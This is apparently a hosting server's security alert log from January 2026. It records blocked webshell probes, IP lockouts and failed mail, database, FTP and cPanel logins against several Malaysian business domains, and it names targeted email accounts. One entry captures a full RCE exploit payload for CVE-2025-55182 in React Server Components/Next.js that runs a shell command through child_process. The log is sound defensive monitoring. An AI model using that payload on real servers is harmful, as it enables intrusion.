name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.37.221.237
country_id: 2963597
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Examples/templates/32readwriteColumnChart2.xlsx HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.250.23.35
country_id: 2635167
description:
Jan 28 00:42:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.250.23.35 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/eco.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.90.228.197
country_id: 1282988
description:
Jan 28 00:45:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.90.228.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 00:45:37 H=([46.151.182.48]) [46.151.182.48]:63497 F=<cpanel@astlog.com.my> rejected RCPT <info@astlog.com.my>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/photos/sitemap.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.229.252.203
country_id: 3865483
description:
Jan 28 00:50:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.229.252.203 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.106
country_id: 6252001
description:
2026-01-28  0:51:45 840306 [Warning] Aborted connection 840306 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.106' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 00:53:27 H=([46.151.182.48]) [46.151.182.48]:56695 F=<cpanel@ktlog.com.my> rejected RCPT <jacklim@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.67
country_id: 3175395
description:
Jan 28 00:57:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.129.65.101
country_id: 1168579
description:
2026-01-28 00:57:27 dovecot_plain authenticator failed for H=(E1261D68V5UP6) [122.129.65.101]:41948: 535 Incorrect authentication data (set_id=kuan-wen.lee@cofreth.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 00:57:32 H=([46.151.182.48]) [46.151.182.48]:64542 F=<cpanel@astlog.com.my> rejected RCPT <mustapa@astlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.91
country_id: 3175395
description:
Jan 28 00:57:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.227.226.156
country_id: 3057568
description:
Jan 28 00:58:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.227.226.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.121
country_id: 3469034
description:
Jan 28 00:59:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.121 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/themes/images/introduction-service.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.165
country_id: 732800
description:
Jan 28 01:01:35 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.3
country_id: 2395170
description:
Jan 28 01:01:55 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.3
country_id: 2395170
description:
Jan 28 01:02:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.3 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.238.30.80
country_id: 1819730
domain: www.eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.eminent.st/v3/wp-content/uploads/2016/11/takeo-cny2016-1.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 175.29.129.161
country_id: 6252001
domain: www.astlog.com.my
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 14; moto g 5G - 2023 Build/U1TPNS34.26-78-3-1; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/125.0.6422.34 Mobile Safari/537.36 musical_ly_2023404030 JsSdk/1.0 NetType/MOBILE Channel/googleplay AppName/musical_ly app_version/34.4.3 ByteLocale/en ByteFullLocale/en Region/US AppId/1233 Spark/1.5.4.7-bugfix AppVersion/34.4.3 BytedanceWebview/d8a21c6||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.94
country_id: 6252001
description:
2026-01-28  1:08:51 840806 [Warning] Aborted connection 840806 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.94' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-28 01:11:00 H=(localhost.localdomain) [78.153.140.207]:41500 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.177.19
country_id: 2782113
description:
2026-01-28  1:15:16 840992 [Warning] Aborted connection 840992 to db: 'unconnected' user: 'unauthenticated' host: '185.242.177.19' (This connection closed normally without authentication)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 185.242.177.19
country_id: 2782113
description:
Jan 28 01:15:16 sv3 pure-ftpd[3111768]: (?@185.242.177.19) [INFO] New connection from 185.242.177.19


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.44.68
country_id: 2395170
description:
Jan 28 01:16:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.44.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.191
country_id: 2510769
description:
Jan 28 01:16:35 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.167.166.30
country_id: 1562822
description:
Jan 28 01:16:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.167.166.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.167.166.30
country_id: 1562822
description:
2026-01-28 01:16:56 dovecot_plain authenticator failed for H=(d469gabs6nhixd98n1unu) [14.167.166.30]:48049: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 116.110.97.54
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-23.116.110.97.54||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.240.222
country_id: 2510769
description:
Jan 28 01:23:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.240.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.31.139
country_id: 798544
description:
Jan 28 01:23:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.31.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 85.11.167.4
country_id: 732800
domain: spacesys.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1769534807_9013',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.125
country_id: 3865483
description:
Jan 28 01:27:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.171.38
country_id: 298795
description:
Jan 28 01:28:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.171.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.98.90
country_id: 3469034
description:
Jan 28 01:28:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.98.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.114.11.109
country_id: 1814991
description:
2026-01-28 01:28:00 H=(localhost.localdomain) [122.114.11.109]:60714 F=<s1132148@srvape.com> rejected RCPT <info@symphony-led.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.98.90
country_id: 3469034
description:
Jan 28 01:29:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.98.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.173
country_id: 2510769
description:
Jan 28 01:29:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.173 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.245.99.130
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-31.171.245.99.130||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.207.213.254
country_id: 1694008
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/cap/18/581/1814584 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 188.126.94.199
country_id: 2623032
description:
Jan 28 01:39:36 sv3 pure-ftpd[3126806]: (?@188.126.94.199) [INFO] New connection from 188.126.94.199


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 176.125.228.148
country_id: 2589581
description:
Jan 28 01:39:36 sv3 pure-ftpd[3126813]: (?@176.125.228.148) [INFO] New connection from 176.125.228.148


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.128.143
country_id: 1880251
domain: www.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/monthlyletter/images/tyresafetytips.php||SC:/home2/fkrcom/public_html/index.php||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.146.45
country_id: 1880251
domain: www.appointment.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.67||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:visoftcom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.144.201.3
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/date/384/174084 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.156.147.181
country_id: 2623032
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/img/photos/6656708877.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.17
country_id: 1269750
description:
Jan 28 01:49:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.155
country_id: 1269750
description:
Jan 28 01:49:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.126
country_id: 953987
description:
Jan 28 01:50:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.172.42
country_id: 798544
description:
Jan 28 01:50:32 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.172.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.126
country_id: 953987
description:
Jan 28 01:51:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.195
country_id: 953987
description:
Jan 28 01:51:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.153
country_id: 3469034
description:
Jan 28 01:51:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.153
country_id: 3469034
description:
Jan 28 01:52:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.152
country_id: 732800
description:
2026-01-28 01:55:37 H=([94.156.152.152]) [94.156.152.152]:59719 F=<altawashtrading_15@yahoo.com> rejected RCPT <wilson@oxbold.com>: No Such User Here


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.99.151.176
country_id: 2635167
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/7018710133.jpg&size=262*388 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.179.255.54
country_id: 1814991
description:
Jan 28 01:59:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.179.255.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.179.255.54
country_id: 1814991
description:
Jan 28 02:00:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.179.255.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.74.136.103
country_id: 3469034
description:
Jan 28 02:01:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.74.136.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 220.154.134.114
country_id: 1814991
description:
2026-01-28 02:06:11 H=([220.154.134.114]) [220.154.134.114]:52863 F=<dse_NA2@docusign.net> rejected RCPT <elaine@lvconsult.com.my>: SPF: 220.154.134.114 is not allowed to send mail from docusign.net


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.199.10.239
country_id: 453733
domain: www.geminiflourmill.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-06.196.199.10.239||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.102.180.254
country_id: 3017382
domain: www.geminiflourmill.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-06.194.102.180.254||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 165.231.70.103
country_id: 2921044
domain: www.geminiflourmill.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-06.165.231.70.103||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.223.234.167
country_id: 2635167
domain: www.geminiflourmill.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-07.185.223.234.167||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.117.73.24
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-12.50.117.73.24||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.37.131.169
country_id: 3017382
description:
[2026-01-28 02:15:37 +0800] info [cpaneld] 54.37.131.169 - kimmark "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.161.134
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-17.166.0.161.134||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/images/img/druma_photos/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 3.37.138.168
country_id: 1835841
description:
Jan 28 02:22:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 3.37.138.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.139
country_id: 2300660
description:
Jan 28 02:22:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.139
country_id: 2300660
description:
Jan 28 02:23:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.16.25
country_id: 2300660
description:
Jan 28 02:23:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.16.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.38
country_id: 953987
description:
Jan 28 02:24:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.124.68.213
country_id: 732800
description:
Jan 28 02:24:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.124.68.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.43.16.189
country_id: 3175395
description:
Jan 28 02:24:35 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.43.16.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.38
country_id: 953987
description:
Jan 28 02:25:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.159
country_id: 3175395
description:
Jan 28 02:26:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.251
country_id: 732800
description:
Jan 28 02:28:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.205.207
country_id: 3469034
description:
Jan 28 02:28:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.205.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.17
country_id: 3175395
description:
Jan 28 02:35:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.50
country_id: 3175395
description:
Jan 28 02:35:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.50 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.168.34.223
country_id: 6252001
description:
2026-01-28  2:36:17 843671 [Warning] Aborted connection 843671 to db: 'unconnected' user: 'unauthenticated' host: '206.168.34.223' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.36.77.60
country_id: 597427
description:
Jan 28 02:39:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.36.77.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.119
country_id: 3469034
description:
Jan 28 02:40:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.119 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/enquiry.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.114.55.81
country_id: 2921044
description:
[2026-01-28 02:45:49 +0800] info [webmaild] 74.114.55.81 - kendek@kendek.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/img/photos/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.135.251
country_id: 1269750
description:
Jan 28 02:47:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.135.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.79.19.26
country_id: 953987
description:
Jan 28 02:47:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.79.19.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.162.98.112
country_id: 3077311
description:
Jan 28 02:48:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.162.98.112 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.127.248.185
country_id: 3351879
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/taste/8/270/841542 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.25.132.240
country_id: 1269750
description:
Jan 28 02:55:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.25.132.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.21.36
country_id: 2300660
description:
